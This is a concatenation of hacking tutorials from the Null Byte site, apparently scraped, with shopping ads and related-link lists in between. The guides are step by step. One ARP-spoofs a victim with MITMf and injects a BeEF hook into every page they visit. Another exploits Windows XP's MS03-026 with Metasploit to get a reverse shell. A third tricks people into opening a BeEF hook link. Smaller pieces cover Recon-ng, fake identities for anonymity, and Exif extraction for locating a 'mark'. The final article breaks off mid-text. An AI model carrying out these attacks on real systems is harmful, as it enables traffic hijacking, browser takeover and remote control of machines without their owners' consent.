Do you remember the last time we used BeEF? Well, now we get to use it again, but this time with MITMf! We are going to auto-inject the hooking script into every webpage the victim visits!RequirementsIf you don't already have it, install MITMf viaapt-get install mitmf. You might want toapt-get updatefirst. If you want to, you can clone it from the Git repository (git clonehttps://github.com/byt3bl33d3r/MITMf), but I've had trouble with that version.BeEF should already be installed in Kali/Back|Track.Step 1: Start BeEFOpen a new terminal and typecd /usr/share/beef-xss/.As you can see, we have BeEF installed, and we can go ahead and run it by typing./beef. You should get this output:Do you see theHook URL? That's important. Remember or copy the URL provided.Step 2: Open the PanelNow you can open the BeEF web panel with theUI URL. Once presented with the login page, you should just be able to get in with the default credentials "beef" for both the username and password. Once inside the UI, you should have this screen:Step 3: Inject the Hook.js ScriptOpen up a new terminal. We'll be using MITMf to inject the hooking script. Usemitmf --spoof --arp -i <interface> --gateway <router IP> --target <target IP> --inject --js-url <hook.js URL>as the format.--spoofloads thespoofplugin--arpredirects ARP packets-ispecifies the interface to inject packets on--gatewaysets the IP of your router to redirect through--targetsets the target IP to inject the hook.js script--injectloads theinjectfunction--js-urlspecifies the JavaScript code to injectFor instance, I use this command:Run the command and MITMf should start giving you some output.MITMf is telling us that it has successfully injected the hook.js script into the websites that the target visited.Step 4: Back to BeEFIf we check our BeEF panel, you will see the hooked computer right on theOnline Browserstab.Remember in my previous XSS posts where I said the victimmuststay on the webpage for you to have control of it? Guess what? You don't have to worry about that now! MITMf will continue injecting the script intoeverywebsite the victim visits, so you'll never lose control!ConclusionNow we know what power lies within MITMf... we can do so much more. From there, you can continue trying to exploit the victim machine, and maybe get a Meterpreter prompt! Ah, the joy of MitM attacks...NOTE: This only works with non-HSTS websites.You could try the--hstsfunction, but it might make things too slow and/or glitchy.C|H of C3Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:Got Beef? Getting Started with BeEFHack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookHow To:Take Pictures Through a Victim's Webcam with BeEFHow To:Defeating HSTS and Bypassing HTTPS with DNS Server Changes and MITMfHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Backdooring on the Fly with MITMfHack Like a Pro:How to Hack Facebook (Same-Origin Policy)Hacking Pranks:How to Flip Photos, Change Images & Inject Messages into Friends' Browsers on Your Wi-Fi NetworkExploiting XSS with BeEF:Part 2How To:Hack web browsers with BeEFHow To:BeEF+Ettercap:Pwning MarriageHow To:Use beEF (Browser Exploitation Framework)How To:Inject Coinhive Miners into Public Wi-Fi HotspotsAtomic Web:The BEST Web Browser for iOS DevicesExploiting XSS with BeEF:Part 1News:3 Unique Alternative Web Browsers for Your iOS DeviceNews:Overview of New features in Microsoft Office 2010
Hack Like a Pro: How to Exploit and Gain Remote Access to PCs Running Windows XP « Null Byte :: WonderHowTo
In myfirst installmentin this series on professional hacking tools, we downloaded and installed Metasploit, the exploitation framework. Now, we will begin to explore the Metasploit Framework and initiate a tried and true hack.Before we start hacking, let's familiarize ourselves with Metasploit so that when I use certain terms, we all understand them to mean the same thing. When first looking at the Metasploit Framework, it can be a bit overwhelming with the various interfaces, options, utilities, and modules. Here we'll try to make it understandable so that we can execute our first exploit.TerminologyThe following terminology is not only used within the Metasploit Framework, but throughout the professional hacking and penetration testing communities. As a result, any professional in this field should be familiar with these terms and be able to clearly distinguish them.ExploitExploit is the means by which an attacker takes advantage of a flaw or vulnerability in a network, application, or service. The hacker uses this flaw or vulnerability in a way that the developer or engineer never intended, to achieve a desired outcome (e.g. root access). Some more common exploits that you've probably already heard of are SQL injections, buffer overflows, etc.PayloadA payload is the program or code that is delivered to the victim system. Metasploit has pre-built payloads for this purpose included in the highly useful Meterpreter, or you can develop your own. This payload is designed to provide the attacker with some capability to manage or manipulate the target system for their particular needs.ShellcodeThis is a set of instructions used as a payload when the exploitation occurs. Shellcode is typically written in assembly language, but not necessarily always. It's called "shellcode" because a command shell or other command console is provided to the attacker that can be used to execute commands on the victim's machine.ModuleA module is a piece of software that can be used by the Metasploit Framework. These modules are interchangeable and give Metasploit its unique power. These modules might be exploit modules or auxiliary modules.ListenerThis is that component that listens for the connection from the hacker's system to the target system. The listener simply handles the connection between these systems.ShowMetasploit Framework has hundreds of modules and other utilities. As a result, you will not be able to remember them all. Fortunately, the show command can grab a listing of all modules, options, targets, etc. in your framework.Now that we have the basics of Metasploit concepts and commands down, let's hack a system!Step 1: Getting StartedFirst, open a terminal in Linux.One of the most reliable hacks is on the ubiquitous Windows XP system with theRPC DCOM. It's a buffer overflow attack that enables the attacker to execute any code of their choice on the owned box (note Microsoft's comment under impact of vulnerability). Microsoft identifies it as MS03-026 in their database of vulnerabilities. In our case, we will use it to open a reverse shell on our target system.Open the the Metasploit console.msfconsoleBe patient, it takes awhile for Metasploit to load all of its modules. The current version of Metasploit has 823 exploits and 250 payloads.Step 2: Find the ExploitMetasploit allows you to search using the search command. In our case, we are searching for a DCOM exploit, so we can simply type:msf > search dcomStep 3: Set the ExploitNow let's tell Metasploit what exploit we want to use. Typeuseand the name of our exploit, exploit/windows/dcerpc/ms03_026_dcom.msf > use exploit/windows/dcerpc/ms03_026_dcomNote that the prompt has changed and now reflects our chosen exploit.Step 4: Set the OptionsNow that we've chosen our exploit, we can ask Metasploit what our options are. By typing show options, Metasploit will list our options in executing this exploit.msf > show optionsStep 5: Set Remote HostMetasploit will now ask us for the RHOST. This will be the IP address of the remote host or the machine we're attacking. In our case, it's 10.0.0.3. Use the actual IP address of the machine you are attacking. Tools such as nmap can help in identifying the IP address of the machine you are attacking. Notice in the picture above that Metasploit tells us that we will be using (binding) port 135.msf > set RHOST 10.0.0.3Step 6: Show PayloadsNext, we check to see what payloads are available for this exploit. Type show payloads at the Metasploit prompt:msf > show payloadsStep 7: Set PayloadNow that we can see what payloads are available, we can select the generic/shell_reverse_tcp by using the Metasploit consolesetcommand. If successful, this will establish a remote shell on the target system that we can command.msf > set PAYLOAD generic/shell_reverse_tcpStep 8: Set Local HostNow that we've chosen the exploit and the payload, we need to tell Metasploit the IP address of our attacking machine. In this example, our target system has an IP address of 10.0.0.6. Use the actual IP address of the system you are attacking. Tools such a nmap, can help you obtain IP addresses.msf > set LHOST 10.0.0.6Step 9: ExploitNow we command Metasploit to exploit the system:msf > exploitStep 10: Open a Shell on the Hacked SystemType the commandsessions –i 1to open a command shell on the XP system that will appear on your Metasploit console.sessions –i 1To confirm that the command shell is on the Windows XP system, typedirto get a directory listing on the Windows XP system that you now own!C: >dirCongratulations! You have just hacked your first system using Metasploit!In my upcoming lessons, we will look at hacking Linux systems and introduce you to the powerful Meterpreter, Metasploit's proprietary payload.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byfeedageRelatedHow To:Protect your PC by disabling Remote DesktopHow To:Use the Remote Desktop application in Windows XPHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Use Remote Desktop in Windows 7 to connect to an XP PCHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Access & Control Your Computer Remotely with Your Nexus 5How To:Connect a Windows Vista PC to an XP computer using Remote DesktopHow To:Use & enable Remote Desktop Connection in Windows XPHow To:Run an VNC Server on Win7How To:Your Complete Guide to Using Remote Desktop on the Microsoft Surface and Windows 8Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow to Hack Like a Pro:Getting Started with MetasploitHow To:Control your PC from anywhereHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Install VNC remotely on a Windows XP PCHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Bored with Your Surface Pro? BlueStacks Lets You Run Any Android App on Windows 8Hack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterDrive-By Hacking:How to Root a Windows Box by Walking Past ItNews:VARIOUS WINDOWS ISSUES RESOLVED BELOW...How To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:WINDOWS 7 (FIX TWEAK, REPAIR, CONJOIN SHELLS ETC...)How To:Hack a computer for remote access
Master Python, Linux & More with This Training Bundle « Null Byte :: WonderHowTo
Becoming a competitive candidate in IT and Data Science takes more than knowing a few coding languages and being good with computers. To really stand out from the crowd, yourknowledge should be extensiveand your experience should be diverse.The 2021 Complete Computer Science Training Bundleprovides that depth of knowledge and a starting point for gathering that experience. Right now, it's on sale for just $39.99.Knowing how to program is important for moving forward in the tech professional sphere, and that means knowing how to code in the most commonly used languages, particularlyPython. With the Complete Computer Science Training Bundle, you can learn from two Python courses covering 74 hours of expert training. Learn to solve common interview questions, algorithms, coding challenges, and so much more with this comprehensive Python Bootcamp.Linux is an operating system you'll rely on as you move forward with your career (if you haven't been using it already). "Mastering Linux Command Line ( + Live Linux Labs)" teaches you how to effectively use Linux over the course of 12 hours.Beyond Linux and Python, you'll get a chance to broaden your theoretical knowledge and find out how to apply it. Applied Probability and Discrete Mathematics are two subjects that form the foundation for computer science. This bundle offers you the chance to expand your knowledge on those two essential subjects and learn to apply them to the work you'll be doing.Each course in the 2021 Complete Computer Science Training Bundle will give you practical skills you can use in interviews, projects, and your own love of technology. Lifetime access means you can learn at any pace you want and return to any information you forget.GetThe 2021 Complete Computer Science Training Bundlenow while it's on sale for 97% off at only $39.99.Prices subject to change.Click to Find Out More:The 2021 Complete Computer Science Training Bundle for Just $39.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:This Extensive Python Training Is Under $40 TodayHow To:Master Python, Django, Git & GitHub with This BundleHow To:Master Linux, Python & Math with This $40 BundleHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:This Top-Rated Course Will Make You a Linux MasterHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Practice Using Essential Tools of the IT Trade with This Value BundleHow To:Learn the Most Widely Used Programming Language for $35Deal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Up Your Linux Game with This $19.99 BundleHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Become an In-Demand Web Developer with This $29 TrainingHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:This Python Bundle Can Teach You Everything You Need to KnowHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:Master Python with This Top-Rated Bundle for Just $30How To:Become a Big Data Expert with This 10-Course BundleHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Start Managing Your Money & Investments Like a Pro with This Affordable Course BundleHow To:Learn Python Today with This Discount BundleHow To:Master Linux with This Extensive 12-Course BundleHow To:Learn to Draw Like a Pro for Under $40How To:Learn to Code for Less Than $40How To:Become Fluent in This Dynamic Programming Language for $30How To:Tackle Python & AI with This Extensive Training PackageHow To:13 Black Friday Deals on Courses That Will Beef Up Your Hacking & Programming Skill SetHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorPygame:All You Need to Start Making Games in PythonHow To:Generate Word-Lists with Python for Dictionary AttacksHow To:This Master Course Bundle on Coding Is Just $34.99News:Get the Perfect Cup of Java with a DIY Linux-Powered Coffee RoasterNews:Learning Python 3.x as I go (Last Updated 6/72012)News:Indie Game Music Bundle (Including Minecraft)News:The Humble Bundle Strikes Again with a "Frozen" ThemeNews:Ball Pythons
How to Use beEF (Browser Exploitation Framework) « Null Byte :: WonderHowTo
I'm still amazed by all the things some people justdon'tknow. Script-kiddies often refer to Metasploit if someone asks them how to hack a computer because they think there's simply no other way. Well here I am today trying to increase your set of tools and -of course- skills.What is beEF?beEF is the Browser Exploitation Framework and is a Open-source penetration testing tool that focuses on browser-based vulnerabilities. That means that beEF is extremely useful for Social engineers with "fake" website's. This tool is of course also useful for anyone who "need's" it.Getting started...First thing you'll need is Linux. And after that you will need to install the beEF software which is foundhere.You also might have it already installed. It can be found here:After that you'r ready to use beEFStep 1: Starting beEF.Go ahead and start beEF. It'll show something like this:The selected link is the link you should use to connect to you'r beEF UI. But it should open a browser session automatically. The username and password are beef.Step 2: What's Next?Now we need someone to connect to our link. This can be done using the easy, or the hard method. I'm going to focus on the easy one. You just need to send the link from beef to someone. Don't forget to shorten the URL. You'll need the "Hook-URL."Then you'll get a screen similar to this:You can clearly see that a browser is connected and is online!A Few Final Tips & Info>If you don't know how to shorten an URL, just use google.>If you'r not sure that beEF is working correctly, open up you'r browser and enter:http://127.0.0.1:3000/demos/basic.html. this should be the result:What are we able to do know?Well, we can send certain commands to the victim. Also we get every info there is available about him/her so that's pretty pro. Right!?Please comment, give kudos and follow me for more amazing tutorials._Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Got Beef? Getting Started with BeEFHow To:Hack web browsers with BeEFHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:BeEF - the Browser Exploitation Framework Project OVER WANHow to Hack Like a Pro:Getting Started with MetasploitHow To:BeEF+Ettercap:Pwning MarriageHow To:Use BeEF and JavaScript for ReconnaissanceHack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookHow To:Take Pictures Through a Victim's Webcam with BeEFHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Hack Facebook (Same-Origin Policy)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Hook Web Browsers with MITMf and BeEFExploiting XSS with BeEF:Part 2Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHow To:Center Your Pixel XL's Status Bar Clock, iPhone-StyleHow To:Attack on Stack [Part 4]; Smash the Stack Visualization: Prologue to Exploitation Chronicles, GDB on the Battlefield.How To:Pull Italian Beef for Italian Beef SandwichMac for Hackers:How to Install the Metasploit FrameworkExploiting XSS with BeEF:Part 1News:Top 10 Beef-less Burgers in LAHow To:Make Bourbon-Spiked ChiliHow To:Use FunFx, a Ruby-based testing framework for Flex
How to Become Anonymous & Browse the Internet Safely « Null Byte :: WonderHowTo
We all know about PRISM. The Surveillance Program allowing the U.S Government to access private user information. Such as,Google Searches, Tweets, Facebook Posts, Private Images, and other private user data."Hiding" yourself can be very difficult, but it is possible. I'm here to show youHow to Become Anonymous & Browse the Internet Safely.Step 1: Deleting Old Email & Social Accounts.Removing your real identity from social media sites and website databases is important when keeping your real identity Anonymous. If that is not possible (for instance, email accounts or other) change the name of said account to a random name, thus making it seem like a different person. (If your email is something like: "[email protected]" then deleting the account would be better for you)Step 2: Worry Free Site BrowsingUsing a normal browser such as, Firefox, Chrome, Safari, Opera, and others won't work in terms of staying anonymous. These browsers don't encrypt the users data, leaving it open to phishers and keyloggers. If you want to stay anonymous, then you need to downloadTor.Tor allows full privacy and encryption. It has many features, some include,Automatic IP Changing (allowing you to make accounts without being traced)NoScript (disallows certain "suspicious" scripts and cookies from showing and saving your data)Anonymous Networking (allowing encrypted browsing)and many more...Tor also includes a cracked version of Mozilla Firefox, all plugins included. The downside to Tor is that, it disables mandatory plugins such as, Flash, Java, and other important scripts. These can be re-enabled by installing them manually in the Tor Directory.Step 3: Precautions for Signing Up on Website'sIf you're like me and like to use sites like, Gmail, YouTube, Twitter, and others, then you'll need to use a Fake Name, Fake Date of Birth, and Fake Profile icon. These factors are the most important when masking your real identity. Using your creativity can benefit you most of the time, but if you can't think of a Name, Username or Password then Name Generators can do the trick. Websites like:ListOfRandomNames.comDate Time Value GeneratorFilecrop's usernames.txt listAll of these can benefit you when making a new Email, YouTube Account, Twitter, or even Facebook.Please NoteUse these tips in line of other tips such as, Encrypting your files, passwords and others.P.S This was my first post here so please be gentle with criticism.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Stay Anonymous on Your Nexus 7How To:Browse securely with SSH and a SOCKS proxyHow To:Bypass School Internet Filters to Unblock WebsitesHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHow To:Stay as Anonymous as Possible OnlineHow To:Browse the Internet anonymouslyTypoGuy Explaining Anonymity:Who Is Anonymous?How To:Make Google Chrome open in Incognito Mode by defaultHow To:Browse the Internet Safely for 10 Years with This VPNTypoGuy Explaining Anonymity:Your Real IdentityAnonymous Texting 101:How to Block Your Cell Phone Number While Sending Text MessagesSamsung Internet 101:How to Password-Protect Your Private Browsing SessionsNews:A Rundown of the Privacy Policies for Major Mobile Carriers & ISPsNews:Opera's Android Browser Just Got Native Ad-BlockingHow To:Who Is Anonymous? How the Wall Street Journal and the NSA Got It WrongHow To:Become Anonymous on the Internet Using TorAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromePrivate Browsing:A How-To for Firefox, Chrome & Internet ExplorerNews:Anonymity Networks. Don't use one, use all of them!How To:Run an FTP Server from Home with LinuxHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:FBI holds teleconference regarding Anonymous - but they were listening!News:AnonymousThe Anonymous Search Engine:How to Browse the Internet Without Being TrackedHow To:Securely & Anonymously Spend Money OnlineNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:SOPA and PIPA Blackout!How To:A Hitchhiker's Guide to the Internet: A Brief History of How the Net Came to BeNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebNews:VMware source code leaked by Anonymous under the banner of The Pirate BayNews:Symantec Source Code Released by Anon After Failed NegotiationsNews:Call to Webmasters EverywhereRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetNews:Side by Side of Arri's Alexa and RED's Mysterium X
Hack Like a Pro: Reconnaissance with Recon-Ng, Part 1 (Getting Started) « Null Byte :: WonderHowTo
Welcome back, my novice hackers!As many of you know,reconis crucial to a successful hack/pentest. In most cases, hackers spend more time doing good reconnaissance than actually hacking. Without proper recon, you are simply guessing at what type of approach or exploit is going to work and, as a result, your time is wasted without any useful outcomes.I have anentire serieshere on Null Byte on the various ways to approach reconnaissance, including such key tools as:NmapHping3ShodanNetcraftMaltegoFOCApygeoipWhoisI encourage you to start with these reconnaissance tools and others before even considering hacking/exploitation.In recent years, a brand new reconnaissance framework has become available to us that leverages many of the tools we are already using, but makes them far more powerful. This tool,Recon-ng, was developed byTim Tomeswhile at Black Hills Information Security. He developed it as a Python script and tried to model its usage afterMetasploit, making it easy for a pentester with Metasploit skills to use Recon-ng. It is built into Kali, so there's no need to download or install anything.Let's explore its many and powerful capabilities a bit here.Step 1: Starting Recon-NgFire up Kali, open a terminal, and type:kali > recon-ngThis will open a splash screen like below.Note that the splash screen lists the number of modules by type. UnlikeSET, but rather like Metasploit, we use commands and not numbers to use Recon-ng.Step 2: Viewing CommandsAt the prompt, let's typehelpin order to look at the commands we can use in Recon-ng.recon-ng > helpNote that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset.Step 3: Showing ModulesTo see all the modules in Recon-ng, we can type:recon-ng > show modulesSince there are 84 modules in Recon-ng, I can't fit them all on one screen, or for that matter, even two.Step 4: Viewing KeysOne of the strengths and beauties of Recon-ng is the use of various application programming interfaces (APIs) to extract useful recon information. For instance, Recon-ng can use Bing, Google, Facebook, Instagram, LinkedIn, and other online applications once you get the API key. With that key, you have almost unlimited access to that application.To see what API keys Recon-ng can use, type:recon-ng > keys listAs we can see, these are all the API keys that Recon-ng can use. Some are free and some you must pay for.When you obtain an API key and you want to add it to Recon-ng for use, you simply add it to the keys. For instance, if I received an API key from Facebook and that key was "123456", I could add it to Recon-ng by typing:recon-ng > keys add facebook_api 123456Now when you list the keys, you can see that yourfacebook_apikey is listed. This means that when you use the Facebook recon module, it will automatically use this key to access Facebook like a Facebook application would.Step 5: Using Recon-NgNow that we have explored a bit of Recon-ng, let's try using one the modules that doesnotrequire an API key. There are many, but let's use one for scanning for XSS (cross-site scripting) vulnerabilities called XSSposed. We can load this module by typing:recon-ng > use recon/domains-vulnerabilities/xssposedThis loads the module into memory and makes it ready for use. Let's get some info on this module by typing:recon-ng > show infoNote the similarity to Metasploit syntax.As you can see above, the only option we need is the website we want to scan. Let's scan our favorite website, WonderHowTo.com, to see whether it has any known XSS vulnerabilities.First, set the source:recon-ng > set source wonderhowto.comThen tell Recon-ng to run:recon-ng > runRecon-ng uses XSSposed to then scan the site for known XSS vulnerabilities. Note that XSSposed found no XSS vulnerabilities in WonderHowTo.com. (Great job, Bryan!)Now, let's try scanning the website of the leading IT security training company in the U.S., SANS.org, which teaches many courses on website and web app security.recon-ng > set source sans.orgrecon-ng > runNotice that our good friends at SANS.org have not secured their own website. We found two vulnerabilities from 2015.Recon-ng is one more tool in our hacker/pentester toolbox that provides us powerful capabilities for gathering necessary info on the target. In future tutorials in this series, we will explore its many varied capabilities, most particularly using APIs to garner key info on our target. So keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHack Like a Pro:The Hacker MethodologyHack Like a Pro:How to Conduct Passive Reconnaissance of a Potential TargetHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsVideo:How to Use Maltego to Research & Mine Data Like an AnalystHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHow To:Advanced Penetration Testing - Part 1 (Introduction)How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Conduct Recon on a Web Target with Python ToolsHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How To:Use BeEF and JavaScript for ReconnaissanceHow To:Bypass a Local Network Proxy for Free InternetHow To:How Hackers Steal Your Internet & How to Defend Against ItTHE FILM LAB:Intro to Final Cut Pro - 02Null Byte:Never Let Us DieHow To:The Official Google+ Insider's Guide Index
How to Obtain Valuable Data from Images Using Exif Extractors « Null Byte :: WonderHowTo
Metadata contained in images and other files can give away a lot more information than the average user might think. By tricking a target into sending a photo containing GPS coordinates and additional information, a hacker can learn where a mark lives or works simply by extracting the Exif data hidden inside the image file.For hackers or OSINT researchers gathering digital evidence, photos can be a rich source of data. Besides what's visible in the picture itself, metadata about when and where the photo was taken can also be recoverable. This data can include the device the photo was taken on, the geolocation of the image, and other unique characteristics that can fingerprint an image as haven been taken by the same person or device.Don't Miss:How to Hide Secret Data Inside an Image or Audio File in SecondsMetadata, or the data that describes files like images or videos, is useful during reconnaissance to investigators because it's often overlooked by otherwise careful targets. If people don't know what kind of data can be retained in a particular file format, they won't know if they're putting themselves at risk by making a specific file public. While many social media platforms have largely eliminated this problem by stripping out metadata from files, there are still many images online with this data left entirely intact.Exif Data in ImagesExchangeable image file format data, or Exif data, is information that accompanies image files and offers many fields that can be populated or left blank. The information is used by programs to understand better what is contained inside the file to aid in sorting and other functions. Available data fields in Exif are often written to by the device that took the image at the time it was shot but can also be left by processing programs like Photoshop.Don't Miss:Conduct OSINT Recon on a Target Domain with Raccoon ScannerBecause we can often identify the model of camera used, the settings used, and supplementary information like the owner of the software that made Photoshop changes, it's possible to identify images that came from the same source. The more Exif fields are filled out by the device that shot the image or software that processed it, the easier it is to track other files made by the same process.The full list of fields that are supported by the Exif standard isquite extensive. Aside from manufacturer-specific information, fields like the owner's name and address can be populated by image processing software without the author knowing each image they produce contains this information.What You'll NeedWhilean older Null Byte article on Exif datafeatures a dated Windows-only tool that still works, we'll focus only on a program that's pre-installed onKali Linux, as well as a few tools that'll work on any system right from a web browser.Old Tool:Extracting Metadata from Image Files with ExifReader on WindowsOption 1: Use the Exif Command Line ToolTo start, we'll be using the "exif" tool that comes pre-installed in Kali Linux. This program is the command line front-end to "libexif," and it only works on JPG file types. To see the options available to us, we can run theexif --helpcommand to list the included options.If you receive an error, or if you're using another OS like Debian or Ubuntu, open a new terminal window and typeapt install exifto install the program and any needed dependencies. Similarly, you can install this tool by typingbrew install exifon a MacOS device. Then, tryexif --helpagain.You can useman exifto view even more information about the tool.~$ exif --help Usage: exif [OPTION...] file -v, --version Display software version -i, --ids Show IDs instead of tag names -t, --tag=tag Select tag --ifd=IFD Select IFD -l, --list-tags List all EXIF tags -|, --show-mnote Show contents of tag MakerNote --remove Remove tag or ifd -s, --show-description Show description of tag -e, --extract-thumbnail Extract thumbnail -r, --remove-thumbnail Remove thumbnail -n, --insert-thumbnail=FILE Insert FILE as thumbnail --no-fixup Do not fix existing tags in files -o, --output=FILE Write data to FILE --set-value=STRING Value of tag -c, --create-exif Create EXIF data if not existing -m, --machine-readable Output in a machine-readable (tab delimited) format -w, --width=WIDTH Width of output -x, --xml-output Output in a XML format -d, --debug Show debugging messages Help options: -?, --help Show this help message --usage Display brief usage messageWhile all of the options is a lot to process, the most straightforward application of this tool is to typeexifand then the path to the file you want to inspect. Below, a photo that's been processed in Photoshop retains information about the software that modified it, the computer it was modified on, and the camera it was taken on. If you get a "corrupt data" error, there may be no metadata in the file or you're scanning a file that's not a JPG.-$ exif /Users/skickar/Downloads/Vacaynev-28.jpg EXIF tags in '/Users/skickar/Downloads/Vacaynev-28.jpg' ('Intel' byte order): --------------------+---------------------------------------------------------- Tag |Value --------------------+---------------------------------------------------------- Manufacturer |Canon Model |Canon EOS 60D X-Resolution |300 Y-Resolution |300 Resolution Unit |Inch Software |Adobe Photoshop Lightroom 5.6 (Macintosh) Date and Time |2016:11:25 17:45:11 Compression |JPEG compression X-Resolution |72 Y-Resolution |72 Resolution Unit |Inch Exposure Time |1/100 sec. F-Number |f/4.0 Exposure Program |Manual ISO Speed Ratings |640 Exif Version |Exif Version 2.3 Date and Time (Origi|2016:11:25 02:56:54 Date and Time (Digit|2016:11:25 02:56:54 Shutter Speed |6.64 EV (1/99 sec.) Aperture |4.00 EV (f/4.0) Exposure Bias |0.00 EV Maximum Aperture Val|3.00 EV (f/2.8) Metering Mode |Pattern Flash |Flash did not fire, compulsory flash mode Focal Length |17.0 mm Sub-second Time (Ori|00 Sub-second Time (Dig|00 Color Space |sRGB Focal Plane X-Resolu|5728.177 Focal Plane Y-Resolu|5808.403 Focal Plane Resoluti|Inch Custom Rendered |Normal process Exposure Mode |Manual exposure White Balance |Auto white balance Scene Capture Type |Standard FlashPixVersion |FlashPix Version 1.0 --------------------+---------------------------------------------------------- EXIF data contains a thumbnail (16091 bytes).Information 